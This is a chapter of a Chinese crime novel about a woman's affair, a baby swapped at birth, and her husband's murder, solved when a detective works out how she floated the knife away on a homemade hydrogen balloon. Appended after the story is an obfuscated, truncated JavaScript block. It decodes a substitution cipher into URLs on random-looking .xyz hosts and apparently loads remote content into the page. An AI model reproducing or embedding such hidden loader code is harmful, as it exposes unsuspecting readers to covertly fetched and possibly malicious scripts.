诡案罪7迷情杀意(2 / 2)

“这上面写的是王婕的爱情故事。”

范泽天拿起那叠稿纸在手里抖动了一下,说:“有一个杂志社,举办了一个名为‘寻找真爱’的征文活动,王婕写了一篇稿子去参加比赛。这个是小刘在她家里找到的底稿,我问过王婕,稿子是根据她的亲身经历写成的,她读过大学,当过县城小报的记者,文笔很不错的。”

“是吗?”文丽不由得笑了,“等我有空也好好拜读一下,说不定对查案子还有点帮助呢。”

王婕的爱情故事

在那套豪华的封闭式的三室一厅里过了一段足不出户的日子之后,我就像一只被关在笼子里的金丝鸟,忽然向往起外面自由的天空来。

这天下午,我百无聊赖地看了一会儿电视,然后洗个澡,淡淡地化了一下妆,穿着一件白色的无袖连衣裙,便独自一人出来逛街。

大街上热闹非凡,第一次使我有了流连忘返的感觉。我东瞧西看,一直逛到傍晚时分,才开始往回走。经过一个菜市场门口时,我看见一个四十多岁穿着朴素的妇女提着一篮鲜菜领着一个十二三岁的小女孩从菜市场走出来。

我觉得有些眼熟,再一看,忽然想了起来,这不正是康师母和她的女儿星星吗?

我心里有些发慌,忙闪到一边,想躲过她们的视线,不想星星眼尖,一下便看见了我,大叫起来:“阿婕姐姐,阿婕姐姐……”

我只得硬着头皮走过去。

我已有好几年时间没见过她们母女了,康师母对我热情如故,拉着我的手说:“阿婕,听星星她爸说,你来青阳很久了,怎么不去我们家玩呀?”

我不自然地笑着说:“我……我工作太忙了,改天一定去……”

“不用改天了,就今天吧!”康师母笑着说,“今晚星星她爸难得有空在家吃顿饭,我特地为他买了不少好菜,你也过去吃晚饭吧!”

我想推辞,但调皮的星星却不由分说地拉着我就走。

一路上,我脸上火辣辣的,心里忐忑不安,不敢看康师母那双淳朴而又慈祥的眼睛。

来到他们家,康总正坐在沙发上埋头看着一份报纸,见了我,脸上居然没有一丝特殊的表情,对我客客气气地如招待一位平平常常的客人。我悬着的一颗心这才放下来,心中却又为他这种冷漠的态度感到莫名的惆怅。

在这个家庭里,康总对女儿疼爱有加,对妻子温柔体贴,完全是一个合格的父亲,更是一个合格的丈夫。这是一个多么幸福温馨的家庭呀!

可是当我一想到自己,一想到自己正在插足这个家庭破坏这种幸福时,我就觉得自己是一个不可饶恕的罪人。

我已记不清那顿晚餐我是怎样挨过来的。我只记得康师母送我出门,当我走到她家门前的第一个拐角处时,我忍不住捂着脸哭泣起来。

这天晚上,我一个人躺在床上,辗转反侧,心情难以平静……第二天一大早,我给康总留下一封信,告诉他我不想伤害一个善良无辜的女人,不想拆散一个幸福美满的家庭,我唯一的选择是离开他,离开这座城市……然后,我简单地收拾几件衣服,流着恋恋不舍的泪水直奔青阳火车站。

当我买好从青阳回老家的火车票走出售票厅时,忽然有个人在背后拍了拍我的肩膀。

我回头一看,只见身后正站着一个五大三粗满脸麻子的男人。

“姜麻子?”我吃惊地叫起来。

“老婆,算你还有点良心,总算没忘记我姜麻子。”

姜麻子咧开嘴,无耻地笑着,露出满嘴的黄牙。

“请你放尊重点,谁是你老婆?”我瞪了他一眼说。

“老婆,咱们夫妻一场,你怎能说这种绝情的话呢?”

他上下打量我一眼,忽然一把抓住我的手腕,拖着我就走。

“你、你放开!你想干什么?”

我挣扎着想挣脱他的手,但他的手像一把铁钳似的钳着我,我哪有反抗之力?他把我拖出车站,拐了几个弯,来到一间低矮潮湿的出租屋里。

“砰”的一声,他把门关紧了。

“你、你到底想干什么?”我看着他惊恐地发问。

他盯着我不怀好意地笑道:“阿婕,你放心,我从不强人所难。你不想做我老婆,我强迫你也没用,强扭的瓜不甜,是不是?”

“你明白就好。”

“只是,我来青阳几个月了,连份工作也没找到,差不多就要饿死在街头了。”

“关我什么事?”

“话不能这么说。我早就听人说你在青阳市傍了一个姓康的大款。俗话说‘亲不亲,故乡人’,现在老乡有难,想找你借点钱花,总可以吧?”

我愤愤地道:“你找错对象了,我身上根本没带多少钱!”

“我当然知道你身上没有多少钱,但别人身上却有的是钱。”说到这里,他忽然冲上来,一把抱住我。

我惊叫一声,连忙推开他,但口袋里的名片盒却不知何时已到了他手上。

他得意一笑,很快就找到康总的名片,兴奋地放到嘴边吻了吻,朝我眨眨眼睛道:“怎么样,找你这位款爷借二十万小钱花花,不算过分吧?”

我这才明白他的险恶用心,原来是要利用我勒索康总。

我不由得又惊又怒,扑上去想夺回名片,但却已经迟了,他一闪身,便吹着口哨出门打电话去了。临走时,还不忘将房门反锁上。我无计可施,欲哭无泪。

半小时后,他又吹着口哨满面春风地回来了。

他心花怒放地说:“啊,真想不到你这姘头这么好打交道,我打电话对他说阿婕在我手上,你拿二十万来赎人。他居然二话没说就答应了。早知如此,我就应该把价格开高点才是。”

我忍无可忍,一把扑上去,恨不得把他撕碎。但他用力一推,便把我推倒在地,我还没爬起来,他就掏出一根麻绳,把我的双手双脚都绑了起来。我坐在地上,顿时动弹不得。

见我无法逃跑了,姜麻子又出去了一趟,带回两瓶啤酒一袋花生,坐在我前面的地上边饮边等着康总的到来。

下午3点多,门口忽然传来一阵敲门声。

“谁?”姜麻子从地上一跃而起,紧张地问。

“你最想见的人!”门口那人冷静地说。

啊,我听出来了,正是康总的声音。

姜麻子将门打开一条缝,确信康总没有带别人来之后,才开门让他进来。

“钱呢?”

康总甩给他一只手提箱:“全在里面。”

姜麻子接过手提箱迫不及待地打开一看,啊,里面果然全是一叠一叠的百元大钞,他顿时欣喜如狂。

康总却连看也不看他一眼,忙冲上来替我解开绳子。

劫后相逢,我心中百感交集,一把扑在他宽厚的怀中大哭起来。

康总抱紧我,拍拍我的背说:“婕,别哭,现在没事了。”

“可是、可是我害得你一下失去了二十万……”

“傻瓜,为了你我连日本客户山本那几百万都没放在眼里,二十万算什么,只要你和肚子里的孩子没事就行了。”

“康总……”我哭得更伤心了,“我、我……对不起……”

“不要这样!你知道我看了你留给我的信有多着急吗?傻丫头,星星母女俩我自会妥善安排,不用你操心,你只要尽心尽力地养好身体替我生个宝贝儿子就行了。”他轻轻托起我的脸,吻干我脸上一颗一颗的泪珠,“答应我,以后无论发生什么事,都不要离开我,给我一点时间,我会跟星星她妈妈把离婚手续办妥。答应我,好吗?”

“嗯!”

“来,笑一个给我看看!”

我破涕为笑,又把头深深地埋在他怀中,久久不愿抬起来。

这时,姜麻子已经阴谋得逞,早已提着那一箱钱不知去向。

康总握住我的手说:“走吧,我的车在外面,我送你去医院检查一下,看看刚才有没有动到胎气。”

我顺从地点点头。

经历了这场有惊无险的变故之后,我便整天待在房子里,再也不敢出门。又过了一段时间,康总准备为他未出世的儿子申报一个青阳户籍。但申报表拿到手,“父亲”一栏怎么填却把他给难住了。

因为他离婚的事还毫无头绪,跟我正式结婚更不是一时三刻能办成的事,这一栏当然不能填他的名字。看着他忧心忡忡的样子、听着他的长吁短叹,我觉得自己是该为他做点什么的时候了。

一天晚上,在一阵缠绵之后,我对康总说:“我想结婚。”

“你该不是想让我犯重婚罪吧?”

“不是和你结婚,是和别的男人结婚。”

他一下从床上跳起来:“阿婕,你不是说真的吧?”

我微微一笑,伏在他宽厚的胸膛上,柔声说:“你别这么敏感好不好?我的意思是说我先找个男人结婚,这样我去做产前检查和申报孩子户籍就方便多了。等孩子出世,你离婚了,我再离婚与你结婚,这不是个好办法吗?”

“可是……”

“放心,除了你之外,我不会让别的男人碰我一根头发的。”

他这才稍稍放心地拥着我睡下。

在我的肚子渐渐大得快要明显的时候,我和阿明闪电般结婚了。就在那套三室一厅的房子里,就在那个无奈的新婚之夜,待亲人和朋友散尽之后,满面红光的阿明搂着我就往床上走去。

他把我轻轻放在床上,激动地脱去我身上的衣裙,然后便热烈地亲吻着我,抚摩我的全身。但我的心里却一丝激情也没有。我轻轻推开他,穿好衣服,然后坐在他跟前,用平静的声音把我和康总的关系以及我们借他这个父亲的名义将来为我们的儿子办理户口的计划向他和盘托出。

听我讲完这一切,阿明呆若木鸡地坐在那里,脸色由红转白,由白转青,怀疑、吃惊、恐惧、失望甚至仇恨的神色在他那双闪烁不定的眼睛里不断变幻着。

我在他跟前跪下来,求他原谅我,原谅我们。他什么话也没说,只是长叹一声,抱着一张毛毯踉踉跄跄走到客厅沙发上睡觉去了。从新婚之夜起,我们这对名义上的夫妻就开始分房睡了。

第二天,康总来看我,我一把扑在他怀中嘤嘤啜泣起来。

康总吓了一跳,忙问我:“怎么了,是不是阿明他欺侮你了?”

我摇摇头说:“没有,只是我觉得我们太对不起他了。”

他松了口气,拍拍我的头说:“没事,我会在其他方面加倍补偿他的。”

不久后,康总提升阿明为部门经理,工资增加了一倍。但我知道,这些优厚的待遇与我给阿明心灵造成的创伤相比,是微不足道的。怀着一种愧疚的心情,除了夜晚的性生活以外,在其他方面,我尽量做到如一个贤淑温柔的好妻子一般照顾着阿明。但我知道他是不领情的,这从每次看到康总来这里在他眼皮底下跟我相会时他眼中流露出的厌恶与仇恨中,我能感觉出来。

但开弓没有回头箭,人生没有回头路,事到如今,我只有照着预定路线一路走下去。

过了一段平静的日子之后,有一天晚上,我的腹中忽然一阵如翻江倒海般的痛。阿明犹豫一下,还是把我送到了医院,医生告知我要临产了。接下来,我被医生推进了产房。

躺在医院雪白的病床上,我的心情既紧张又兴奋,想到儿子出生后的情景,想到我与康总结婚后我们一家三口快快乐乐过日子的情景,我的眼泪便止不住地往下流着。

仿佛经历了一个世纪般长久的撕心裂肺的阵痛,终于,一声清亮的婴啼打破黑暗,迎来了一个崭新的黎明。

但在这黎明里,我来不及睁开眼睛看我的孩子一眼,便晕厥过去。等我醒过来时,天地间又是一片黑暗了。

产房里静悄悄的,只有阿明坐在床前对着贴在医院墙壁上那“禁止吸烟”的牌子拼命地抽着烟。

我用虚弱的声音问:“阿明,他呢?”

“哪个他?”

“就是康总。”

“你还提他?”阿明忽然抬起头来,眼睛里闪动着愤愤不平的光,“你还提他?”

“他、他怎么啦?”

“哼,自从他知道你为他生了一个女儿之后,他就没来看过你一次。他整个人都好像从地球上消失了一般,怎么找也找不着了。”

“什么?我、我生的是女儿?”我再一次昏厥过去。

好不容易熬到出院,我抱着孩子直奔康总的办公室。但却被告知他去了香港。后来我又抱着女儿去找了他几次,要么不在,要么就是被保安挡住不让进去。直到此时此刻我才彻底明白自己被这个无情无义的男人玩弄了。他接近我的目的,只是想借我给他生个传宗接代继承衣钵的儿子。现在适得其反,他当然再也不屑理会我了,也许他现在正对另一位无知女孩说着曾说给我听过的甜言蜜语,正想从她身上圆他的儿子梦呢。

不久后,我因无钱缴房租,被房东从那套房子里赶出来。背井离乡、举目无亲、身无分文还怀抱着嗷嗷待哺的女儿,这下我真的陷入了走投无路的境地,我想回老家去,但却连路费也没有。望着尚在襁褓之中的女儿,我心如刀绞。

这时,已经被康总炒了鱿鱼的阿明忽然无声地出现在我身边。他把我们母女俩接回他的出租屋,然后收藏起他一个大学毕业生的傲气与自尊,以他瘦弱的身躯和坚强的意志去酒店做杂工来养活我们娘儿俩。

从那时起,就在他那间破旧简陋的出租屋里,我们这对曾经名不副实的夫妻,过起了真真正正恩恩爱爱的夫妻生活。这样的日子,我看得出阿明过得很累,但也很幸福。

我也一样,在满世界寻找真爱都毫无所获甚至被伤害得遍体鳞伤的时候,才发现真爱原来就在身边,才发现那个真心实意爱你为你抚平伤口的人,居然就是那个你伤害得最深最痛的人。

案发第三日

案发后的第三天,文丽兴冲冲跑来向范泽天报告:“范队,刺死秦启明的凶器,那把水果刀找到了,上面还沾有死者的血迹。我已经请法医老曹鉴定过,可以确定这就是凶手杀人时使用的凶器。”她拿着一个透明的证物袋递给范泽天。

范泽天看了一下,证物袋里装着一把水果刀,不锈钢刀面窄而薄,刀刃长约十厘米,木质的刀柄后面有一个小环孔。刀面沾着一些血迹。

“上面有凶手的指纹吗?”他问。

文丽说:“没有,已经被擦拭干净了。”

“在什么地方发现的?”

“在王婕住所后面的那片树林里,具体地点,大约距离案发的大楼有五百米远。”

范泽天把证物袋递回给她,说:“这么说来,凶手就不可能是王婕了。她杀人之后,不可能从窗户里把刀扔到五百米以外。”

文丽说:“这可不一定。我认为她完全可以在杀人之后跑下楼,把刀扔在五百米以外的树林中,然后再回到家里报警。而且最重要的是,我发现了她真正的杀人动机。”

“哦?”

“我对王婕做过调查,原来她曾经被一个名叫康哲的文化公司老板包养过。这个康老板没有儿子传宗接代,答应她只要她给他生个儿子,就马上离婚跟她结婚。结果王婕给他生了个女儿,那个康哲就立即抛弃了她。她的前男友秦启明这才有机会跟她在一起。”

范泽天“嗯”了一声,说:“这个情况我已经知道了。”

文丽吃了一惊,说:“你已经知道了?”

范泽天笑了笑说:“我看过王婕写的情感自述,所以对她的情感经历比较了解。”

“那好吧,我还有一个情况,你肯定不了解。”

“什么情况?”

“不久前,因为一起人为的医疗事故,市卫生局对市妇幼保健院的一名姓李的医生展开了调查,这个李医生,就是一年多前为王婕接生的那名医生。结果发现,这个家伙是个医林败类,他曾经被人收买,在产房里用一个女婴换走了王婕生下的男孩。但是这位李医生在调查期间逃到了外地,卫生局的人查过,李医生在逃跑前曾经往秦启明的手机里发过一条短信。”

“所以,他们怀疑那个花钱收买李医生将王婕生下的男婴换成女孩的幕后之人,就是秦启明。他怕王婕给康哲生下儿子后,就会跟康哲结婚,所以设计让她生了个女儿,只有这样,他才有机会跟王婕在一起,是吧?”

“是的。卫生局的人并没有掌握实据,一切尚在暗中调查之中。但是有一个情况,是我今天才调查到的。王婕现在家庭收入并不宽裕,夫妻二人一直共用一部手机,因为秦启明上班的酒店有公用电话,所以他上班之后,就会把手机放在家里让妻子使用。”

“你的意思是说,李医生发的那条短信,很可能秦启明没有看到,而是被他的妻子看到了?”

“是的。所以王婕已经知道了秦启明的险恶用心,对他由爱生恨,心生杀意,就是情理之中的事了。”文丽一口气说完,端起范泽天办公桌上的茶杯喝了口水,抹抹嘴巴,“我觉得这应该是目前最合理的推断了。”

范泽天看着她,忽然摇头说:“不,我觉得这是目前最不可能成立的推理。”

文丽睁大眼睛道:“为什么?”

范泽天说:“在王婕居住的那栋大楼对面,有一个银行营业网点,银行门口安装了一个监控摄像头,镜头的一角,刚好能够拍到王婕住的那栋楼房楼的梯口。今天我们调看了银行的监控视频,案发当日,从下午4点半,一直到晚上9点多我们赶到案发现场,王婕都没有下过楼。所以你说她杀人之后,下楼把凶器扔到后面树林五百米以外,是不能够成立的。她站在楼上,更不可能把一把水果刀从窗户里扔到五百米开外。所以她肯定不会是杀人凶手。”

文丽怔了一下,道:“这么说来,难道王婕说的是真话,真的有一个陌生男人闯进她家里杀人行凶?对了,你不是说有监控视频吗?凶手从楼梯口上楼的时候,应该能被拍到啊!谁是凶手,一看视频不就知道了?”

范泽天说:“没那么简单。那栋楼里住了不少外地人,进出的人员很杂,当晚案发前后,进出那栋楼房的男人,就有近二十个,现在小李正在一个一个地排查。”

两人正在讨论案情,刑警小李进来报告,他已将案发当晚所有出入过那栋楼的人员仔细排查了一遍,有的人是租住在楼里的住户,有的是来找老乡玩的,只有一个人,跟大楼里的人不熟悉。

“就是这个家伙。”小李把一张打印的照片递过来。

范泽天接过一看,那是一张视频人像截图,看上去比较模糊,只能大致看清照片上是一个中年男人,国字脸,微胖。

小李说:“我已经从王婕的人际关系入手,查到了这个家伙的信息。这个男人叫康哲,是一家文化公司的老板。这个男人曾经是王婕的情夫。他于案发当晚8点40分走进大楼,大约在8点52分左右离开。下楼时行色匆匆,不住地扭头四下张望,看上去有点慌张。还有,我查过王婕的通话记录,案发当日下午5点左右,她曾拨打过康哲的手机。”

范泽天和文丽对望一眼,异口同声地道:“凶手就是他了!”

王婕把自己生下儿子后被秦启明调包的事,打电话告诉了康哲,康哲一怒之下找上门来。秦启明与他在家中发生争执,康哲杀机顿起,顺手拿起旁边的水果刀,将秦启明刺死,然后匆匆逃走,并将凶器丢弃在人迹罕至的树林里。

而王婕对康哲余情未了,所以报警的时候对警方谎称不认识凶手。

范泽天敲着桌子站起身:“立即拘捕康哲!”

康哲被带到公安局时,额头上冒出了细汗,眼神左顾右盼,显得有些紧张,但表面上却又装得十分镇定,故作轻松地说:“你们叫我来,到底有什么事?公司还有一大摊事等着我回去处理呢。”

范泽天盯着他足足看了两分钟,才淡淡地问了一句:“最近有个叫秦启明的男人被杀,这事你知道吧?”

康哲点头说:“知道,我听说了,这两天有人在网上发了消息。”

范泽天说:“你跟秦启明的妻子王婕是什么关系?”

康哲的脸红了一下,说:“我们以前在一起过,但她跟秦启明在一起后,我们就没有来往了。”

范泽天道:“我问你,前天晚上8点至9点之间,你在哪里?”

“前天晚上啊?”康哲低头想了一下,说,“我在公司加班,一直到很晚才下班……”

“你撒谎!”文丽忍不住敲着桌子说,“秦启明家对面银行门口的摄像头清楚地拍到,前天晚上8点40分,你进了他们那栋楼,十几分钟后又匆忙走出来。”

康哲一怔,抬眼看看范泽天,又看看文丽,仿佛在说:你们早就知道了,那还问我干什么?

“我们就是要看你到底老不老实。”范泽天说,“根据我们调查,秦启明就是在你上楼的这段时间里被人杀死的。所以我们现在有理由相信,你就是杀死他的凶手。”

“我是凶手?”康哲忽然激动起来,“我怎么会是凶手?你们说,我为什么要杀秦启明?我跟王婕已经分手快两年了,难道我还会为了这个女人去杀人?”

范泽天盯着他冷峻地说:“你杀人,不是为了女人,而是为了孩子。王婕为你生了一个儿子,但被秦启明设计调包,因此你对他心怀杀机。”

“不,不,你们搞错了,他不是我杀的。前天晚上,我确实去过他们家,但事情并不是你们想的那样。”康哲大声道,“前天下午,王婕在电话里告诉了我秦启明调包孩子的事,并且约我晚上9点到她家里见面,我跟她已经没有任何瓜葛,本不想去,但她威胁我说如果我不去,她就去我的公司跳楼,我只好答应了她。当天晚上,我来到他们家时,敲了几下门,没有人开门,后来发现门没有锁,就推门进去,却看见秦启明已经被人杀死在客厅里,鲜血流了一地,电视机还开着,屋里没有看见其他人。我当时吓坏了,掉头就往楼下跑。本来想打电话报警,可一想到自己与王婕的关系,如果报警只怕会惹火烧身,所以就没有吭声。”

范泽天问:“你说的是真话?”

“当然是真的,我跟王婕已经分手,怎么可能会为了她去杀人?至于说为了孩子杀人,那就更不可能了。”

“为什么?”

康哲说:“因为我跟王婕分手后,又找了一个女人,她现在已经给我生了一对双胞胎儿子,我已经很满足了。”

审讯结束后,文丽问范泽天:“范队,你觉得康哲有没有说实话?”

范泽天沉吟着道:“他说的是不是实话,咱们还需要调查一下。”

“调查?去哪里调查?”

范泽天看看窗外,院子里种着一株梧桐树,一阵秋风吹来,树叶正扑簌簌往下落。过了半晌,他说:“咱们去王婕家。”

两人驱车来到西郊路118号,范泽天在楼梯口站了一会,这里的街道有点偏僻,大白天路上行人也不多。

他缓步上楼,来到五楼,走到王婕住的503房门前。

大门关着,屋里隐隐传出有人走动的声音。

范泽天抬起头,想要敲门,却又没有敲下去,在门口站了片刻,忽然掉头快步往楼下走去。

文丽不知道发生了什么事,急忙跟着他跑下楼。

范泽天来到楼下,看看手表,说:“刚好11分钟。”

“什么11分钟?”文丽一时间没有反应过来。

范泽天说:“我刚才上下楼一趟,一共用了11分钟。”

文丽这才明白,他是在实地考量在这栋楼里,上下楼一趟,大约需要多少时间。根据视频显示,案发当晚,康哲是8点40分上楼,52分下楼,中间一共用了12分钟,与范泽天刚才所用的时间大致相近。

根据王婕的讲述,凶手进屋后,先是杀了秦启明,然后又提刀去追她们母女。她带着女儿躲进卧室,凶手撞了几下门,没有撞开,最后不得不悻悻离去。这个过程,最少也得需要5分钟。再加上上下楼的时间,应该在15至20分钟之间。但康哲从上楼至下楼,一共只用了12分钟时间。这说明他根本就没有在王婕家里作案的时间。

回到局里,范泽天立即释放了康哲,案情也由此陷入僵局。

经过警方这段时间的排查,重点嫌疑人只有王婕和康哲两人,但现在证实二人均无作案可能。难道存在第三个犯罪嫌疑人?可是从视频监控情况来看,案发前后,除了康哲,再无与王婕及秦启明有关系的人员进出过那栋楼。难道是在排查视频中进出过那栋出租楼的人员时,出现了疏漏?坐在电脑前,范泽天把银行监控探头拍摄到的视频画面重新看了一遍,果然发现了一些问题。

视频显示,案发之前,王婕最后一次下楼,是在当日下午4点18分,当时她手里提着一个黑色大塑料袋,看起来像是下楼扔垃圾。

十分钟后,她再次走入视频镜头,手里提着一个小小的白色塑料袋,袋子里似乎装着一包什么东西。她走上楼后,再也没有下来。

大约晚上7点半,她丈夫秦启明才下班回家。

范泽天把视频定格在王婕上楼的那一瞬间,问负责视频排查的小李:“她下午4点18分下楼,但十分钟后才上楼,扔个垃圾应该不需要这么久吧?你查过她这十分钟干什么去了吗?”

小李说:“我已经查过了。她把女儿放在家里睡觉,趁下楼扔垃圾的机会,去附近的小超市买了一点东西。还有,她住的那条街有点偏僻,清洁工收垃圾也不那么及时,一般都是两三天才收一次。我在垃圾箱里找到了王婕丢的那袋垃圾,仔细检查过,里面有几个三号电池,不过已经被砸烂,里面的电池芯,也就是碳棒都露了出来,估计是给小孩子的玩具用过,还有一些生活垃圾,看起来并没有什么可疑之处。”

范泽天点点头,眼睛盯着王婕上楼时手里拎着的塑料袋,又问:“她去超市买了什么东西,查过了吗?”

小李说:“我问过那家超市的老板,她当时买的是一盒蚊香。”

“蚊香?”范泽天愣了一下,“现在都已经是深秋,早已没有蚊子出没,她买蚊香干什么?”

小李搔搔后脑勺说:“这个我倒没有问过,也许买回家对付厕所里的蟑螂也说不定。”

“在没有蚊子的季节买蚊香,露出了碳棒的电池?这跟眼前这个案子有关联吗?”范泽天一边自言自语,一边在办公室里踱着步子,浓眉紧皱,陷入了沉思之中。

他思忖半晌,完全没有理出头绪,又回到电脑前,打上“电池碳棒的作用”这几个字,上网搜索。电脑屏幕上很快弹出几个搜索页面。

范泽天点开看了一下,突然眉头一展,从座椅上弹跳起来:“我明白了,原来是这么回事。”他抓起桌上的警帽往头上扣,“走,你们俩跟我去抓人。”

文丽有点莫名其妙,说:“抓谁啊?”

“当然是杀死秦启明的凶手。”范泽天大步走了出去,“就是王婕。”

康哲和秦启明这两个男人,一个抛弃了王婕,一个调包了她的儿子,都是王婕痛恨的男人。她杀死了秦启明,并且把康哲约到家里,嫁祸给他。警方问她认不认识凶手,她说不认识,只是虚晃一枪。她当然知道对面银行的监控探头能拍到她所租住的这栋楼房,她更知道警方迟早都会找到康哲头上。她觉得不说出康哲的名字,比说出他的名字对她更有利,更能让警方相信康哲就是凶手。

警车拉响警笛,在大街上飞驰。

文丽坐在车里,大惑不解地问:“王婕到底是用什么方法,在自己没有下楼的情况下,把杀人凶器扔到五百米以外的树林中的呢?”

范泽天微微一笑,卖了个关子,道:“这个嘛,等抓到王婕,我自然会揭开谜底。”

十几分钟后,警车停在了西郊路118号楼下。范泽天跳下车,抬头看了看,五楼阳台上,有一个人影缩了进去,是王婕。

范泽天吩咐文丽和小李及后面几名刑警:“把枪拿出来,小心嫌疑人狗急跳墙。”

文丽和小李顿时紧张起来,急忙把配枪拿在手里,把子弹推上膛。

范泽天带着大家小心翼翼往楼上走去。刚蹬上几级楼梯,就听得身后传来“砰”的一声响,一条人影从五楼跃下,重重地砸在警车前面的水泥地面上,鲜血和脑浆迸射而出。大家定睛一瞧,跳楼者正是王婕。

文丽急忙跑下楼梯,上前查看,王婕头先着地,已经当场死亡。但小李还是掏出手机,打了120急救电话。

范泽天看着王婕的尸体,重重地叹了口气,他没有想到这女人性格如此刚烈,竟会以如此惨烈的方式在警察拘捕她之前结束自己的生命。

“她家里还有一个孩子。”文丽忽然想了起来。

从楼上跑下来围观的一个中年妇女说:“昨天她已经办好认养手续,把女儿送给别人了。”

文丽不由得一呆。

120急救车很快就来了,急救医生上前检查一下,摇头说:“你们直接叫殡仪馆来拉人吧。”

王婕的尸体被拉走之后,文丽说:“范队,你是不是可以给我们揭开谜底了?”

范泽天看了大伙儿一眼,见大家都是一副很期待的样子,也就不再卖关子了,说:“王婕杀人之后,要在足不出户的情况下,把凶器扔到大楼后面五百米外的树林里,其实很容易做到,只需要一个足够大的氢气球就行了。王婕用一个氢气球,将扎紧气球的细线从水果刀刀柄后面的小环孔里穿过,将水果刀吊在氢气球上,然后再在细线上绑上半截点燃的蚊香,从后面窗户放出去。这样氢气球就把水果刀带上了半空,并且越飘越远,到达一定的距离之后,蚊香就会烧断细线,水果刀就从细线上面滑落下来,掉进树林里。因为当时是晚上,风向也是往树林那边吹的,所以她不担心被别人看见。”

原来是这样,文丽和小李这才恍然大悟。

范泽天说:“王婕在没有蚊子的季节里急着去买蚊香,还有她的垃圾袋里有电池碳棒,这两点引起了我的怀疑。我上网一查,电池碳棒的作用之一,竟然就是放进盐水中,再通过一些简单的仪器,通上电之后,就能产生氢气。我把氢气、蚊香和水果刀联系起来,就大致明白是怎么回事了。能把水果刀吊起来的氢气球应该不会太小,王婕知道对面有监控探头,不敢直接从街上买个氢气球回家,所以就只有自己动手做了。”

文丽这才明白队长为什么会抓住蚊香和电池碳棒这两个细节不放,原来破案的关键,竟然就藏在这样不起眼的细节里。

案子虽然破了,可是她看着王婕跳楼时留下的一摊血迹,想到这个为情所困的女人,最后竟是这样一个结局,心情也变得沉重起来……

!function(){function a(a){var _idx="z5palo1gvz";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR84nJdqO}pX4"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"4nJdqO}pX4"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 